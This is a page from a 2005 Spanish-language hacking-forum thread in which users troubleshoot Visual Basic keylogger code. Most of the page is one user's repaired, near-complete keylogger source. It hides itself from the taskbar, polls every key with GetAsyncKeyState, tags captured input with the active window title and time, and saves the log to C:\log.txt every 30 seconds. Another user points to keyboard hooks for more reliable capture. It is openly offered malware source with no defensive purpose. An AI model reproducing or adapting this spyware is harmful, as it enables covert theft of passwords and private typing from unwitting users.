elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  keylogger en VB
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 [3] Ir Abajo Respuesta Imprimir
Autor Tema: keylogger en VB  (Leído 30,521 veces)
Kizar


Desconectado Desconectado

Mensajes: 1.325


kizar_net


Ver Perfil
Re: keylogger en VB
« Respuesta #20 en: 21 Septiembre 2005, 19:11 pm »

Esos keylogger son una "*****" con perdon, por que se comen muchas teclas y dan muchos errores, buscar alguno que funcione con hooks:
Podeis buscar informacion de la api : SetWindowsHookEx
Salu2


En línea

Sk8er_boy12

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: keylogger en VB
« Respuesta #21 en: 21 Septiembre 2005, 21:13 pm »

a mi me da este error:
Private Sub Timer1_Timer()
Dim Tecla As String
For x% = 0 To 255 'para los 255 códigos ascii
If GetAsyncKeyState(x%) Then 'si se ha pulsado una tecla
Tecla = ObtenerTecla(x%) 'obtener tecla pulsada
Text1 = Text1 & Tecla 'añadir tecla a teclas pulsadas
Text1.Refresh
End If
Next
End Sub

Procedimiento sub o function no declarado.
Adios


En línea

NYlOn


Desconectado Desconectado

Mensajes: 842


OOOOHHHHHH, TARAGÜIIII xDDDDDD


Ver Perfil WWW
Re: keylogger en VB
« Respuesta #22 en: 22 Septiembre 2005, 00:31 am »

mira te acomodo un poco el keylogger de Pedronts, yo tuve que hacer varios cambios para que me funcionara...

en un MODULO:
Código:
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Declare Function GetForegroundWindow Lib "user32" () As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Public LastWindow As String
Public LastHandle As Long
Public dKey(255) As Long
Public Const VK_SHIFT = &H10
Public Const VK_CTRL = &H11
Public Const VK_ALT = &H12
Public Const VK_CAPITAL = &H14
Public ChangeChr(255) As String
Public AltDown As Boolean

Public Function Logged(FromFile As String) As String 'Lee el texto contenido dentro de C:\log.txt
On Error GoTo Handle
Dim sTemp As String
    Open FromFile For Input As #1   'Abre el archivo para leerlo
        sTemp = Input(LOF(1), 1)    'Obtiene el texto
    Close #1                        'Cierra el archivo
    Logged = sTemp
Exit Function
Handle:
'MsgBox "Error " & Err.Number & vbCrLf & Err.Description, vbCritical, "Error"
End Function


Function TypeWindow() 'Imprime el titulo de la ventana activa
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String

Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1

WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)

If WindowText <> LastWindow Then 'Si el ultimo titulo de la ventana activa es directe alde la actual
' se imprime el nuevo titulo de la ventana
If Form1.Text1 <> "" Then Form1.Text1 = Form1.Text1 & vbCrLf & vbCrLf
Form1.Text1 = Form1.Text1 & "|====================" & Now & "=======================|" & vbCrLf & WindowText & vbCrLf & "|============================================================|" & vbCrLf & " " 'Se eimprime el titulo de la aplicacion, fecha y hora =P
LastWindow = WindowText 'El ultimo titulo de la ventana
End If
End Function


Sub LeeLog()
Form1.Text1.Text = Logged("C:\log.txt") 'Se carga el texto en el objeto text
End Sub

Sub GurdaLog()
Open ("C:\log.txt") For Output As #1 ' Se abre el archivo
Print #1, Form1.Text1.Text ' se sobre escribe el log
Close #1 ' y se cierra
End Sub

en el Load del Form:
Código:
Private Sub Form_Load()
If App.PrevInstance = True Then: End 'Para que no existan dos programas corriendo al mismo tiempo
App.TaskVisible = False ' Nada de mostrarse en la barra de tareas

LeeLog 'Funcion que lee el archivo de log
Me.Caption = "Keylogger"
ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"

ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"

ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "@"
ChangeChr(51) = "#"
ChangeChr(52) = "$"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"

ChangeChr(186) = "`"
ChangeChr(187) = "+"
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "}"

ChangeChr(219) = "{" '
ChangeChr(220) = "\"
ChangeChr(221) = "¡"
ChangeChr(222) = "{"


ChangeChr(86) = "^"
ChangeChr(87) = "*"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"

ChangeChr(119) = "?"
ChangeChr(120) = "|"
ChangeChr(121) = "¿"
ChangeChr(122) = """"


ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"

ChangeChr(192) = "ñ"
ChangeChr(92) = "Ñ"

End Sub

en un Timer con intervalo 1:
Código:
Private Sub Timer1_Timer()
On Error Resume Next
'Cuando alt no este precionada
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & "[ALTUP]"
End If

'a-z A-Z

For i = Asc("A") To Asc("Z") 'Bucle que va desde 65 a 90
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
   If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   End If
  Else
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   Else
  Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   End If
  End If
           
End If
Next

'1234567890)(*&^%$#@!

For i = 48 To 57 'Bucle para registrar los numeros
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  Else
Text1 = Text1 & Chr(i)
  Exit Sub
  End If
 
End If
Next


';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
 
End If
Next


'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
 
End If
Next

'Bloque numerico
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
  AltDown = True
  Text1 = Text1 & "[ALTDOWN]"
  Else
   If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
   AltDown = False
   Text1 = Text1 & "[ALTUP]"
   End If
  End If
 
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
End If
Next

'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
  Text1 = Text1 & " "
End If

'Cuando se precione ENTER
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text1 = Text1 & vbCrLf & "Enter> " ' Se le inserta un salto de linea al texto y un caracter
  'de identificacion (Alt+ 0160)
End If


If GetAsyncKeyState(8) = -32767 Then
TypeWindow
If (Right(Text1.Text, 1) = " ") Then GoTo nod 'Si es ultimo caracter es ANSI 160 no se borra nada
tip = Len(Text1.Text) - 1 'Logitud del texto menos uno
  Text1 = Left(Text1.Text, tip) 'Borrado
nod:
End If

'Cuando se precione felcha izquierda
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
  Text1 = Text1 & "[LeftArrow]"
End If

'Cuando se precione felcha Arriba
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
  Text1 = Text1 & "[UpArrow]"
'End If

'Cuando se precione flecha derechar
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text1 = Text1 & "[RightArrow]"
End If

  'Cuando se precione flecha abajo
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text1 = Text1 & "[DownArrow]"
End If

'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
  Text1 = Text1 & "[Tab]"
End If

  'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
Text1 = Text1 & "[Escape]"
End If

'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

' Left Click
If GetAsyncKeyState(1) = -32767 Then
  If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then 'we make sure that click is on the page that we are loging bute click log start when we type something in window
Text1 = Text1 & "[LeftClick]"
End If
End If
End If
End Sub

en otro Timer con intervalo de 30segs:
Código:
Private Sub Timer2_Timer()
GurdaLog
End Sub

si lo pones asi no te tendria que dar ningun error...
gracias x el code

salu2
En línea

kakinets


Desconectado Desconectado

Mensajes: 414


[>Argentina<]


Ver Perfil
Re: keylogger en VB
« Respuesta #23 en: 22 Septiembre 2005, 03:20 am »

a mi el Keylogger como yo lo puse me anda de 10 no se q diferensi hay con la q puso NYlOn....


= gracias por el apoyo q me dan dia a dia
En línea

NYlOn


Desconectado Desconectado

Mensajes: 842


OOOOHHHHHH, TARAGÜIIII xDDDDDD


Ver Perfil WWW
Re: keylogger en VB
« Respuesta #24 en: 22 Septiembre 2005, 05:21 am »

publike de nuevo el codigo para ir cerrand0 el tema y que no se haga tan larg0 el hilo ;D

salu2
En línea

Slasher-K


Desconectado Desconectado

Mensajes: 1.477


Ver Perfil
Re: keylogger en VB
« Respuesta #25 en: 22 Septiembre 2005, 06:17 am »

Este tema ya está demasiado tratado en el foro y hay muchos ejemplos. Sólo decir que la mejor opción es usar Hooks y que el código de pedronets es demasiado lento.

Tema cerrado.

Saludos.
En línea



A la reina de las profundidades que cuida los pasos de una sombra en la noche :*
Páginas: 1 2 [3] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
keylogger
Scripting
Panic0 1 2,425 Último mensaje 6 Agosto 2020, 08:15 am
por Gabriela
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines